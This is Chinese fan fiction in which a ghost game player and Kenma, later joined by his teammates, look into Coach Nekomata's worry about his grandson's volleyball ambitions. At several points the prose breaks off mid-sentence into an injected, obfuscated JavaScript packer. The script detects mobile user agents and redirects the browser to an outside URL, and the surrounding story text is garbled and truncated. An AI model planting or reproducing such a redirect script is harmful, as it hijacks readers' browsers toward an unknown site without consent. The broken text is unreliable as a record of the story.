不过这次的任务也比较特殊,过去的任务似乎都是围绕研磨展开,很少涉及他身边的人,这次却直接以猫又教练为对象。 我催促小八:“登入登入。” * 抽风了小八。 我怀疑小八报复我,直接把我从排球馆的天花板丢了下去。 反正有系统保护在,没有什么痛觉,我享受地张开双手向下坠。 “诶?!!!!” 训练完的研磨闭着眼睛躺在排球馆的地板上,已经累成一滩,虽说我砸下去他完全感受不到,但要是睁开眼的话我俩都会尴尬得不知道该怎么办吧。 在半空中,我大喊:“臭小八,快让我停下。” 它不紧不慢地飘来,抓住我的衣服,让我在堪堪离研磨八十厘米左右停了下来。 研磨像有感应般,突然睁开眼,我与他面面相觑,咧嘴举起手说了句“嗨”。 研磨懵懵的,嘴上却还是不饶人:“新的出场方式?” 我收回友好招呼,改成冷酷表情:“定位错误罢了。” 一边通过心声疯狂指示小八:[小八,你还要这么拽着我多久,快把我放在旁边,衣服都要被你拽破了,你看看我向风扇这样挂着优雅吗?” 小八:[我看电视剧里有女主从天而降的那种浪漫场景。] 我面如死灰:[人家是从什么梨花桃花树上掉下来,被公主抱,身边都是花雨。而不是我这样被拽着停在半空中,衣服都皱了!] [好吧]小八把我水灵灵地放在了地上。 我拍了拍手,虽然没有沾灰。 “研磨,你觉得猫又教练的眼睛里能看出什么淡淡的烦恼。” 研磨困惑:“你看得到猫又教练的眼睛吗?” 我一边跟小八表示“看吧研磨都这么说”,一边轻咳,“真是的,怎么能这么说,研磨。” 研磨一指,福永扒拉着猫又教练拍照,“教练教练,你能把眼睛睁得跟我一样大吗?”福永撑着自己也不算大的眼睛,猫又教练维持着自己的笑容,我却从他的笑容中读出几分危险的气息,猫又教练: “福永,我给你定制了一套特别的训练计划,去试试把。” 果然眯眯眼都是黑心怪。我目移。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046354|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>研磨却一脸淡定:“看吧,大家都这么觉得。” 我悟了:“猫又教练的烦恼绝对是自己的眼睛不够大。” 我示意研磨把手机递给我,很快,我在某经验分享平台上收藏了好几个帖子,把手机还给研磨,一本正经地说到道:“研磨只要把这几个帖子分享给猫又教练看,他绝对会很开心的。” 研磨查看帖子:“千流,你是想我比福永还要累瘫吧。” 我吹口哨,哪能呢。 我只是给研磨找了几个“大眼妆容画法教学”“美瞳的妙用”“化妆术——换头的秘密”“东京割双眼皮一流的店”这样的帖子罢了。 “所以千流这次的任务是解决猫又教练的烦恼吗。” 我点点头,在打打闹闹后,进入工作模式的我还是颇有转业素养的。 我盘腿坐在研磨身边,把水递给他,先稍微介绍了一下任务的内容。 “目前我的想法是从几个不同的方面来确认具体的内容,就跟海龟汤一样,反正可以问系统是或不是。” “海龟汤?” 或许日式校园里还没有流行这个游戏,我说:“就是回答者只会给出是或不是的答案,提问者通过问问题缩小范围。” 我思索:“虽然说是猫又教练自己的烦恼,但烦恼也就那几种吧,自身的,与人际有关的。” 我拿出一张纸,画起树状图。 “自身的,猫又教练最在意的应该是排球执教方面的,或许他在苦恼怎么增加我们的团队合作。毕竟我们新一批的选手虽然实力都不错,但是完全没有融合起来。”研磨分析。 我撑着下巴,写下关键词[协作能力]。 结果系统果断地pass了我们这一猜测。 “那就是和人际关系有关。” 我写下友情,研磨思索:“猫又教练和乌养教练应该算宿敌和好友的关系吧。” 我兴致勃勃,没想到上一辈还有这么精彩的故事,不过可恶的系统又排除了。 爱情???? 我和研磨对视,露出豆豆眼。 还好系统否定了。 不用帮助猫又教练展开一段黄昏恋了。 小八好像也瞧不过眼,它说:“猫又教练和他的老伴关系可好了。” 我诧异:“日本人也会说老伴这种词吗?” 小八:“从玩家的词库摘取的。” 我可没用过这种词语。 不是友情也不是爱情。 我写下亲情两字后,系统发出了“bingo”的音效,大片的玫瑰花从空中洋洋洒洒飘下,我和研磨都被土得哽住了。 “但我并不了解猫又教练的家庭情况。” 我从系统空间里掏出侦探贝雷帽戴在头上,咬着烟斗形状的巧克力,跃跃欲试:“名侦探千流和她的助手研磨堂堂登场。” 研磨无奈,接过我给他的贝雷帽,也戴到自己的蘑菇力脑袋上,贝雷帽压住刘海,稍微有些扎眼睛,研磨眨了眨眼。 “什么时候行动?千流大侦探。” 小八在一旁目瞪口呆地抗议:“为什么研磨这么配合玩家的角色扮演游戏?” 我冷哼一声。 当然是玩家的个人魅力促成的。 27.研磨猫猫养成手札 21 * 总之,现在音驹档案室的门口出现了一对猫猫祟祟的身影,黑发拂过脖颈,时不时调整头上的英伦帽的是孤爪研磨。 而他旁边那个看不见的鬼魅(千流自称)身影,十分自如地戴着贝雷帽,就像这个帽子天生就长在她脑袋上的千流扒拉着门框,整只鬼挂在门框上,双腿一晃一晃。 她的眼睛睁得大大的,X光般扫射档案室的内部,随后扭头朝研磨比了个“前进”的暗号。 要是有可以记录鬼的相机就好了,要不下次千流跟他平分积分的时候就说想兑换这个道具。 ——不过千流大概率是不会同意,毕竟自己可是明目张胆地要用于记录她的黑历史。 所以千流到底是几岁的鬼,为什么玩起这种潜伏游戏比他还兴致高涨。 研磨一边压低帽檐,毕竟被发现尴尬的只有他一人,千流也不会被看见,一边淡淡地吐槽:“我们已经查过轮班表了,这时候就是值班的空档吧。” 千流拿出系统道具里的【全能开】钥匙,插入档案室的门锁:“这叫潜伏的仪式感。” 完全演上瘾了,研磨了然。 我在分门别类的诸多档案中挑挑拣拣,终于锁定了【聘用教练】的档案,盒子里满满当当地装着各种社团教练的背景资料,我念念有词:“非常冒犯,猫又教练,任务所迫。” 随后看向久久没有到我身旁的研磨。 他的手里握着一个类似的纸盒,若有所思地摇了摇。 我小声呼喊:“研磨,抓紧时间。” 他物归原位,朝我走来:“都是空的。” “嗯?” “所有三年级老师的档案都是空的。”他解释。 “唔,可能是那一批还没来得及装进去,不过这个盒子里都是真材实料哦。”我拿起档案袋,炫耀地晃了晃。 不过,也有可能是这些游戏背景资料有bug,小八还来不及修。 我的脑海里闪过小八拉着我的手也想要一副贝雷帽的场景。 没想到AI也喜欢cosplay啊。 身为宠统达人,我慷慨地给小八买了个mini版的贝雷帽。 但它并没有成功加入我们神探联盟(是的,这是我给我们组合起的名字),而是目光一暗,灰溜溜喊了句“我去修bug了”,消失在我的视线里。 研磨仍然是若有所思的模样,凑上前来,我们一同打开了猫又教练的档案。 上面写着猫又教练的家庭住址,联系方式,任职经历和荣誉以及家庭情况。 我一边再次默念“抱歉”一边记下这一串信息,随后视线聚焦于家庭成员。 “原来猫又教练有个孙子啊。” 研磨不大意外:“猫又教练有一个御守,上面绣着他孙子的名字,叫有志,他一直挂在身上。” 我不止一次察觉到研磨出众的观察力,我半开玩笑地问研磨:“那我呢,研磨观察到了什么。” “确定要我说吗?” 这有什么好害怕的,我点头示意。 “是中国鬼这件事应该确凿无疑,千流对日本的节假日之类的完全不了解,或许对日本的管理者还有些怨言。” “哈?”虽然是有一点,但这是怎么看出来的。 “那天我说今天是因为海洋日放假的时候,千流翻了一个超大的白眼。” 这是我的眼睛有自己的想法。 “虽然看起来懒懒的,有点不靠谱,但是生活技能点满了,不过能指使别人帮忙的时候自己绝不会出手。”此乃节能达人研磨数次莫名其妙被叫去干事情(例如从冰箱里拿出小蛋糕),得出的结论,“千流应该很适合当领导。” “......”这是在说我很会奴役人吧。 我抗议:“能不能说些优点。” “明明说了好多优点。”他反驳,“很热情,细心,热爱生活,尊重他人......” 真是的,研磨摸了摸自己发红的耳垂,这么直截了当地夸人让他觉得有些别扭,也不知道千流是怎么面不改色地听下去的。 不,或许并非面不改色。 千流看似扭捏了一些,眼里明晃晃地写着“摩多摩多”。 研磨有一瞬间张了张口,很快反应过来,懊恼地合上嘴。 果然千流有当“领导”的能力吧,自己刚刚真的想接着夸她。 研磨戳了戳我手中的档案,原话奉还:“千流,抓紧时间。” 我只好接着看档案,说实在,猫又教练的家庭情况很简单,和妻子只有一个儿子,儿子和儿媳生下了一个孙子,目前十五岁。 “和研磨的家庭状况很像呢。” 研磨也没有表亲。 “过年不怎么要串门,可以窝在家里,确实很舒服。” 研磨是这么想的,我扣着档案,说不定独生子会觉得有些寂寞? “或许猫又教练想要个孙女。” 我被研磨大开的脑洞惊到了,但他好像很认真。 “我爷爷之前就问过我妈有没有要二胎的打算,想要个小孙女。” 我好奇:“那你妈妈怎么回答的?” 研磨摇了摇头:“妈妈还没有回答,爸爸就开口了。” “生孩子太累了,要生爸你自己生一个吧。” 研磨显然想到了什么很离谱的事情,嘴角微抿:“爷爷还很认真地想了一会,然后很懊恼地回复——我也没法生啊。” 我笑得胃都有点疼,自从知道研磨爸爸捕鱼事迹后,我对他西装革履的样子就有些不忍直视,现在我也很难保证在看到研磨爷爷的时候能绷住不笑出声。 研磨接收到我闪烁的视线,郑重声明:“我完全没有遗传他们的不靠谱。” 好的,靠谱研磨。 我半猜测地问系统:“是不是与猫又教练的孙子有关?” 它机械音地回了个“是”。 不过我和研磨的两个猜测都被它否决掉了,我决定:“我们去猫又教练家调查一下吧!” “潜入法?” “当然!” 研磨觉得自己和千流在很“刑”的道路上越走越远。 我风风火火地打算行动起来,研磨却拜托我在门口再看一会,他有很在意的事想要接着调查。 我迷迷糊糊地飘在门口看门。 几声洪亮又中气十足的声音传到耳边,定睛一看,是音驹排球部的一行人,为首的是鸡冠头小黑,我一凛,缩成纸片贴合着门框。 下一秒,我镇定自若地走了出来。 反正他们又看不见我,大惊小怪。 糟糕,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夜久学长说:“研磨今天拿了档案也没办法交给班主任吧,毕竟他们都下班了。” “那研磨接下来要去干嘛,要不要和我们一起出去吃饭。” 撒了一个谎后,就要用无数个谎来圆。 我突发奇想:“把大家都带上,怎么样。” 研磨默不作声。 “中国有个古话,三个臭皮匠,顶个诸葛亮。说不定带上排球部的各位,我们完成任务的速度更快呢。” 研磨好像被我说服了,他把我们的任务和情报获取经历加工了一下——变成研磨发现猫又教练总是在一个人的时候叹气,还举起御守看好几眼。 所以[热心肠]的研磨打算帮助猫又教练,在放学以后,并邀请大家一起来帮忙。 小黑和夜久学长还没有说话,山本一幅想不通的样子碎碎念:“研磨的建议很不错,但我总觉得哪里不对劲。” 小黑和夜久噗呲一笑。 山本也觉得研磨有些不对劲。 不过,有些事情完全不用刨根问底。 黑尾与夜久对视一眼,齐声:“当然没问题。” 28.研磨猫猫养成手札 22 * 研磨摁开手机,看了眼时间,已经临近七点,距他们说好要一起前去猫又教练的住址已经过了半小时。 他们此时位于商业街,离猫又教练的住宅隔着一条街。 他深呼吸:“还要武装到什么时候?” 说是全副武装也不为过。 他看向小黑,虽然走在外面经常被误会是不良,但这身衣服简直是坐实了,蓝色的破洞裤东一个洞西一个洞,裤脚还垂着流苏,上身倒还是正常的黑色卫衣……背面有一个巨大的骷髅头。 小黑戴着墨镜,嚼着口香糖,尝试吹泡泡未遂。 夜久学长…… 也并不靠谱。 他身着荧光绿的棒球外套,走在路上都能发光,和平日里清新的穿搭截然不同。 山本,山本的穿搭也很难评,谁告诉他猛虎就要穿虎纹样的外套,配上莫西干头,简直就像□□的老大一样。 他离这帮人数米远,并不打算被人认为他们是认识的。 无奈小黑一把拉过研磨,哥俩好地揽着肩,他们在临时租赁服装的店铺结了帐。 山本猛虎信心满满:“我们这样和平常穿着风格截然不同,猫又教练绝对认不出来我们。” 研磨耷拉着脑袋,让自然垂落的发丝完全遮住自己的整张脸。 猫又教练第一眼确实可能不敢认。 但这么拉风的造型,所有人都会忍不住悄悄多看几眼的,不敢看的只有可能是因为畏惧被□□盯上,仅此而已。 千流仗着自己不会被众人看见,漂浮在半空中,美名其曰“记录青春的画面”。 她朝研磨比了个耶,笑容和太阳花一样明媚。 研磨慢吞吞升起自己的“大拇指,比着口型:[带他们来完全是错误的决定] * 猫又教练的家是传统的日式独栋建筑,一家五口人共同住在这里。 侦探小队潜伏于猫又教练小院对面的灌木丛后,夜幕悄然降临,路灯拉长人影,他们很有蹲伏精神,夜久学长甚至捎来了面包片,小黑咬下一大口,山本更是狼吞虎咽地塞下一整个。 山本一边咀嚼,一边说:“我还跟猫又教练的一起买过这个院子里的花种。” 我震惊,想不到山本竟然是“心有猛虎、细嗅蔷薇”的类型吗。 小黑挑眉:“猫又教练找猛虎一起买花种吗?” 山本脸色灰败:“还不是上次在球场上没有按照猫又教练的安排,冲动了,被留下来加练。” “然后呢?”夜久有些感兴趣。 “然后,猫又教练第二天跟我说买的花种完全不适合在家种植,他被师母说别靠近她的花园。” 简直有些意料之中。 研磨已经娴熟地找了个小板凳(系统道具里的),像给自己搭好窝的小鸟,懒懒地坐下:“我们真的要像侦探蹲点一样待在这里吗?” 三人齐刷刷地转头,脑袋上冒着问号,就像在说“当然了”。 山本疑惑:“侦探不都是这么干的吗?” 研磨看了看在三个人上空偷笑的我,接着说:“但恐怕猫又教练和他的家人不会在院子外面吵架给我们看。” 山本挠挠头:“好像是这样。” 小黑首当其冲,摘下自己的墨镜,双手插兜走在前面:“直接去按门铃,就说要拜访猫又教练,怎么样。” “你们不是害怕被发现?”研磨问道,否则也不会打扮得这么另类。 “那个。”夜久学长摆了摆手,“其实今天猫又教练不在家,他说过要去旁边的一个临市参加教练的交流会。” 研磨眯起眼睛直勾勾地看着目移的小黑和夜久:“原来是这样啊。” 猛虎扯了扯自己的虎纹外套:“那我还打扮成这样。” 黑尾一把揽过猛虎的肩膀:“这也算是新奇的体验,对吧。” 研磨收起小板凳,迈了两步越过三人:“那我们去按门铃吧,就假装是找猫又教练结果找空,猫又教练的妻子应该会留我们一会,到时候在打听状况,小黑和夜久学长,你们一定是这么打算的吧。” 两人咧嘴,对研磨完美的推理比了个大拇指。 * 如同三人计划的那样,猫又教练的妻子,玲花奶奶亲切地叫住佯装离开的几人,把他们迎进家,还泡上家中最好的茶。 “今天老头子还有另外两个孩子都不在,只剩下我和小智,小智是我孙子的小名。” 玲花奶奶环视四周,找不到人影,她慈祥地笑了笑:“真是的,我把那孩子叫过来,他也很喜欢打排球。” “小智。”随着玲花奶奶的叫唤,小智从小院外面推开门走进来。 是一位黑色头发的男孩子,头发是自然的羊毛卷,整个人看起来很乖巧,不过警惕地用眼神扫过怪里怪气打扮三人组,在看到研磨的时候微妙地扭过脑袋,他支走奶奶:“奶奶,我想单独和几个哥哥聊一下。” 顺风顺水的线索送上门。 我觉得明天之内就能解决我们的支线任务。 玲花奶奶揉了揉小智的卷毛:“那奶奶给你们准备好吃的。” 小智在奶奶转身离去之后,脸上乖巧的神情立马褪去了,他并不高,跃起坐上高脚凳,坐在与四人相对的另一侧。 我看着小智小大人的模样,总觉得有股熟悉感,悄悄靠近研磨:“他怎么跟你小时候有点像。” 研磨低头在手机上敲敲打打:[我哪有这样。] 我再度观察一番,嘶,连偶尔有点压迫感的观察的神情都一模一样。 小智观察的对象是□□穿搭的三人。 最先感到不好意思的是夜久,他捏了捏自己的衣角,刚想解释。 小智脸上写满[尊重、理解],断然地开口:“你们是有异装癖吗?” 三人虎躯一震。 小智接着说道:“这个社会现在很包容,我也不会歧视的,东京什么样的人都有,这也不是新奇的爱好。” 他虽然理智地分析着,说出来的话也颇为体贴,但三人依然如遭雷劈,该怎么解释他们并不是异装癖。 一波未平一波又起,小智问:“我前面在小院里,看到你们了。” 山本果断否认:“怎么可能,我们藏得严严实实的。” ...... 山本, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黑尾暗暗戳了戳他的手臂,打断了他的思绪,研磨心领神会:“小智。” “在!”小智用青涩的少年音脆生生地应答。 “你最近有烦恼的事情吗。” 小智撇嘴,焉了吧唧的,抬眸望了研磨一眼,像是对研磨问他的问题有些失落,语气变得硬邦邦的,但还是乖乖回答:“是爷爷告诉你们的吗。” “没有哦。”夜久撑着下巴,眉眼弯弯,“是我们看他经常看着写着小智名字的御守叹气,所以才这么猜。” 小智的神情很复杂,但还是语气硬邦邦的:“是爷爷的问题。” 黑尾摩挲着下巴:“猫又教练一向是很讲道理的人,我们提的建议他都会听,没想到他会这么惹小智生气。” “是啊。”猛虎附和,“真是想不到!” 黑尾接着循循善诱:“所以可以告诉我们他是怎么惹小智生气的吗?” 小智双手交叠放在双腿上,垂下脑袋思索片刻,闷闷地开了口: “他说——我最好不要接着打排球。” 29.研磨猫猫养成手札 23 * “纳尼纳尼!”猛虎攥着拳头站了起来,感同身受般,“猫又教练怎么能这么说!” 小智用勺子搅拌着茶杯,浅褐色的晃荡的茶水倒映着他的脸颊,他别扭:“爷爷也是有原因的。” 即使有些不开心也会帮爷爷说话吗。 我托腮浅浅笑了笑。 “好吧!”猛虎的情绪来得快去得也快,墩一声又坐回了椅子上,“那猫又教练为什么这么说。” 这么问又想自己在替爷爷说话。 小智不开心地搅和搅和茶水,茶杯里一个小小的漩涡诞生了,他翘起脚:“我先说明一下,爷爷他说的不对!” 夜久学长的表情莫名有些慈爱,他小酌一口:“麻烦你讲给我们听吧。” 小智嘟囔起来:“爷爷说我的体力比较差,个子也不高,体质也很弱。” 他吐槽:“爷爷和爸爸的个子都不高,我这是遗传因素。” “如果是把排球当成业余爱好也好,走职业的话需要比别人更累,承担更大的压力。” 夜久学长举手:“小个子可以当自由人哦!” “夜久学长也很厉害。”小智悄悄看了眼默不作声的研磨。 “原来小智也记得我的名字,大胜利!”夜久学长咧嘴一笑。 “我呢我呢!”猛虎不甘示弱。 “山本学长太幼稚了吧。” “我也胜利!”猛虎满意点头。 还未等破洞裤男孩黑尾开口,小智无奈抢先念到:“黑尾学长。” “真是的!你们好幼稚。”国中生小智看着三名幼稚高中生,“我要接着说了!” “夜久学长也很厉害,但是我想当...我想当二传!”小智的声音原先渐弱,随后像是下定决心,坚定地抬头看向研磨,“就像孤爪哥哥一样。” 明牌了,小智是研磨的小粉丝一枚。 我好奇围着研磨探头探脑,他看似毫无波澜,静悄悄地喝着茶,实则睫毛一颤一颤,像落入石子的水潭。 “孤爪哥哥虽然个子不高。” 研磨默默想着,这种话不用再说第二遍了。 “但是只要稍微——”嘴上说着稍微,小智却张开手画了一个超大的圆,收回双手,攥紧双拳,身子稍稍前倾,眼里放着光,“稍微在场上看比赛,看到排球咻一下从这里传到那里,盘算着这其中究竟发生了什么,就会发现孤爪哥哥的厉害!” 研磨几乎要把脑袋藏在小小的茶杯之后了。 “判断局势,观察队友的状态还有对手的习惯和状态,随时随地调整战术,二传就是要做到这些。”小智谈到二传,整个人变得侃侃而谈,“所以,即使是没有得天独厚的体质,凭借独特的观察力,也能在赛场上有自己的位置。” 他像迫切需要得到认可的小孩,从旁边的椅子拿出一本笔记,把它摊开,里面的笔记密密麻麻的:“这里是我观察到的,在球场上人们下意识的举动代表着什么,还有各种各样的战术以及怎么把他们灵活使用。” 我靠近看了看,虽然我不懂排球,也觉得这笔记有模有样的,简直就像一个小教练。 “要是渐渐地学习孤爪哥哥,或许有一天我也能站上赛场,成为职业排球运动员。” 小黑摩挲着下巴:“我先提个问题,猫又教练一直说的是‘不建议你走职业运动员的道路’,但并没有阻止你,对吧。” 小智合上笔记,抱在胸前:“没错。” 他左顾右盼,组织着语言:“坦白来说,我也没有那么生气,也知道爷爷是很客观地分析。” 他的小卷毛倔强地翘起来:“我就是想爷爷觉得我一定能做到。”小智的声音渐弱,“好吧,可能有点无理取闹。” “怎么会呢!”热血猛虎的嘹亮声音在客厅里回响,“相信,就是无所不能的力量!我妹妹就很相信我,每次她来看我比赛,我就会觉得热血沸腾,她说我一定能赢的时候,我赢的概率会上涨百分之八十五哦!” “这个概率是怎么算的,猛虎。”夜久表示猛虎存在捏造数据的可能性。 “诶,真热血呢。”黑尾笑眯眯,戳了戳身旁的研磨,“请问研磨发表一下对于小智小粉丝的看法。” 小智正襟危坐。 研磨撇了眼看热闹的黑尾,视线的落点在小智的笔记上:“我怎么觉得也不会动摇你的决心吧,否则那种东西就不算决心了。” 我眨眨眼,研磨是认真起来了吗。 “那是当然。”小智急切地开口。 “把我当学习对象的话。”研磨斟酌着措辞,“嗯...有些不合适。” 他接着说:“我对排球没有那么热情,继续打也是觉得维持现状也没有什么不好的,也不打算打职业,猫又教练说的都是一些很客观的因素,你也明白吧。” 小智懵懵地点头,像卡顿的小机器人。 “体力不足,两场能结束的比赛还好,三场就会开始力不从心,虽然我也不愿意承认,但是体力是脑力的支撑,光是有脑子,在球场上,总会有累的脑子还在转,脚却动不了的时候,这时候你该怎么办呢?” 猛虎果断抢答:“那就像我一样。”他卷起衣袖,秀出自己健壮的肌肉。 “奔跑,运动,小智,我相信你也可以。” 研磨呼了一口气,并不认同地说着:“举个例子,你想走的是职业的道路对吧,职业比赛上,任何些微的差距都可能影响战局,每个人的体质不一样,天赋也不一样,有时候就算一直锻炼也只能缩小体力之间的差距,但别人也在练习。” “如果你要打职业,你就要面对天赋的差距,自己拼命努力也追不上前面的人,由此带来的无力感,这种无力感可能会摧毁你对排球的热情,甚至开始厌倦这个运动,这也是难免的事情,毕竟嫉妒心是很难摆脱的,比起这样,或许有时候只把它当作一种爱好还能保持原有的热情。” 研磨一口气说完,喝了下手边的茶:“猫又教练真正想表达的就是这些,我也觉得他有道理。” 他说的话算不上什么热血正论,坦白来说说不定会打倒对方的积极性,动摇他的决心...... “就算孤爪学长这么说。”研磨以为对方要说什么[我也会接着朝梦想前进],谁知道小智认真说着,“我也会接着崇拜孤爪学长。” 研磨差点被茶水呛到,不解地抬起头。 小智挠了挠卷毛,有些不好意思地改口:“说错了,我想说的是我会接着努力的。” 看来没有被动摇。 黑尾拍了拍手:“看来小智没有觉得研磨的话有什么问题,那猫又教练...” “爷爷是爷爷。”小智扭头,“你们不用操心了,我知道爷爷是为我好。” 不管怎么说,小智都是一个很懂事的孩子:“我说不定过几天就好了。” 话音刚落,玲花奶奶捧着满满一盘点心放到桌上:“好了,大家一起来吃吧!” “谢谢款待!”我有样学样地跟着大家高声道谢,并赶忙叮嘱研磨悄悄捎上一点给我吃。 * 研磨借出去打电话的名义捎上一份糕点,坐在小院的小石凳上,我们面对面坐着,我专心地咬着手里的糕点,露出满足的笑容。 “千流像仓鼠。” 我抬头假装生气:“研磨没大没小。” 他若有所思地咬了口手中的糕点,说实话,我并不赞成研磨这样带着心思吃糕点,这么做会忽视糕点的美味之处。 石桌的纹样看似简单,但纹路的走势和人心一样复杂。 “千流觉得我说的怎么样。” 我把手中的糕点放到一旁:“研磨为什么会问我,这样可不像你,你是不是觉得有更好的说法。” “这种情况不是常有的吗,比起直白地分析,其实对方也知道这些道理吧,何况他好像把我的话看得很重要,只要说一句——我相信你,就行了吧。” “那你为什么没有那么说。”我笑着看向不说话的研磨,“因为相信这种词,也不是什么可以轻易说出口的吧,像山本,他平等地相信所有人都有足够的热情走下去,研磨的角度或许更现实了一些,所谓的‘相信’,是一句需要负责任的话,起码我看来是这样的。” “对方也希望你发自内心地这么说。”我从系统道具库里拿出一根逗猫棒,铃铛脆生生作响,我伸出手,逗猫棒在研磨的耳边晃了晃,“既然小智是研磨的粉丝,那他肯定也明白这一点。” 他把糕点掰成几块,金黄色的糕点被分割成残缺的月亮,我们触碰月亮浸在水中的倒影,用碎片的语句试图织成捞起月亮的网。 “有时候就算知道【这样的场合】该说什么话,我也不想说。” 我像投掷筹码,将一块糕点推上前:“我也不想说。” ——其实很像叛逆的小孩。 我想起某些时候选择了另一条路可能会更加顺遂的人生,不过我不想走。 我畅快地大声说着:“我只过自己想过的人生,唔,鬼生!要走遍全世界,把鬼生过得足够精彩。” 研磨把半份糕点推向我:“如果可以的话,要当个自由职业者,或许开家公司?在保证资金充裕的情况下把有趣的事情都做个遍。” 我悄悄地吃掉半块“筹码”,被抓包后清咳一声:“研磨这话好大的口气。” 我朝月亮挥了挥拳头:“不过我相信——孤爪研磨一定能做到。” “我相信千流一定能做到。” 诶诶。 我认真:“是发自内心地相信哦。” 他也偷吃了一块“筹码”:“是发自内心地相信。” 我指了指天上在月辉的映衬下薄薄地飘在天边的云朵,想起过去同学们曾说过,他们的奶奶说直接指着月亮,会掉耳朵:“那我祝研磨成为自在的云。” 我不依不饶地盯着他,明示我也要一份祝福。 风把我的发丝吹得四处飘荡,灵魂也有了形状。 研磨张开手,握住一缕风:“祝千流成为自由的风。” 我眨了眨眼,垂下头握住一块糕点,掩去眼底的晃神。 研磨没有错过我奇怪的反应,他抿起嘴,拿起被我放在桌上的逗猫棒,叮铃叮铃的声音在我的脑袋上空作响。 “这是什么反应,千流。” “我的祝福不好吗?” “很好啊。” “那你怎么跟突然想起来什么一样。” “干嘛这么刨根究底。” “因为就算知道该留下空间,我现在也不想留。” 好无赖的话。 “你不说我也能猜到。”他颇为不爽,“你的笔友说过类似的话?” 他用逗猫棒另一端软乎乎的猫爪敲了敲我的脑袋:“在和一个朋友说话的时候,想起别的朋友,是不是很不礼貌。” 我不愿背上这一口大锅,也不想被误解,反驳:“我可什么都没提,这种社交礼仪我绝对知道。” 研磨的发丝垂落,支着下巴,弯着眼睛看着抬起头辩驳的我。 什么嘛。 他完全没有不开心。 研磨把所有的糕点推到我的面前,我愣神,他接着说道:“打个赌怎么样,来自东方的鬼小姐千流。” “在我们认识的过去的时间里,你应该了解我一大半的过去,作为朋友的平等交换,我也会找到一大半的你。” 这可算不上什么平等的赌注,不管研磨再聪明也没有办法穿过游戏世界的阻隔了解我的过去。 几乎是赢面百分百的赌局。 不过我才没有欺负小孩的习惯。 我坦白:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15066396|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那几乎是不可能的。” 但我忘了研磨的叛逆和好奇心。 他说:“谁知道呢。” 我起身,小心翼翼地把被我们掰得不像样的糕点拼拼凑凑地放进没有时间流逝的系统空间:“我们该回去了研磨,小智都不知道待在门那边看这里多久了。” 把写好的纸条放在研磨的手心,我说:“把这个给小智吧。” * 小智手忙脚乱地想要找个地方躲起来,但研磨直勾勾地朝他走去。 小智只好从门口的石柱走出来,他仰头看天空:“我什么都没有看见。” 小智为自己看到的一切找好解释的说法:“就算是对着空气说话,孤爪学长也一定有自己的道理。” “是诗人吧!诗人就经常自言自语抒发自己的感情。” 研磨淡定:“我不会作诗。” “天才也经常有两个人格!” 研磨否定:“我也没有人格分裂。” 他举了举手机:“我在和我的网友视频,她喜欢玩这种奇奇怪怪的游戏。” 掰糕点推来推去还有把糕点变没的游戏吗,好稀奇。 小智露出星星眼。 什么奇奇怪怪。 我不满,研磨明明也很开心地跟我下“筹码”。 小智迈出一小步:“是学长的女朋友吗?” 研磨呛声,虚掩着嘴:“为什么这么觉得。” 我也呛得直咳嗽,就是说,怎么这么觉得。 “因为爸爸和妈妈说话的时候就是这幅表情。”他确信,“爷爷和奶奶说话也是这幅表情。” 那是什么样的表情。 像听到我的困惑,小智回答:“旁观的人看着牙齿就要腻得甜掉——这样的表情。” 研磨没有说话,只是把我交给他的纸条递给小智,没有介绍纸条的来源。 小智摊开纸条。 [星座运势说,明天适宜把那本笔记给爷爷看,说不定最近的烦恼会有转机] “孤爪学长怎么知道爷爷还没有看过我的笔记本?”研磨看了眼我,像是明白了纸条的内容,“因为猫又教练是个很厉害的人。” “虽然我在观察上稍微有一些天赋,但他见识过的排球运动员更多。所以如果看到那本笔记本,他会了解你的决心。” “你觉得他会相信我吗?” 他还是觉得“相信”这种东西并没有扭转一切的力量,但他想起了风吹动铃铛的脆响。 或许没有动摇一切的力量,但可以埋下一颗种子。 一颗无法预测未来长势的种子。 研磨回道:“猫又教练会给你答案。” * 隔一天后的社团晨练时间。 黑尾、夜久、山本、孤爪四人换上社团运动服,猫猫祟祟从场馆的大门一侧用蠕动的状态龟速移动,希望不引起早早来到排球馆蹲守着的猫又教练的注意。 猫又教练鹰一样的视线一下瞄准了四人,他笑眯眯地说着:“那边的四个人,过来一下吧。” 还是躲不过。 黑尾索性大步迈向猫又教练。 “黑尾和夜久。”猫又教练拍了拍他们的肩膀,“你们两个记性很好嘛,很了解我的行程。” “哪里哪里。”音驹的小猫见到大猫,乖乖地低下脑袋。 “山本。” 山本虎躯一震:“我在!” 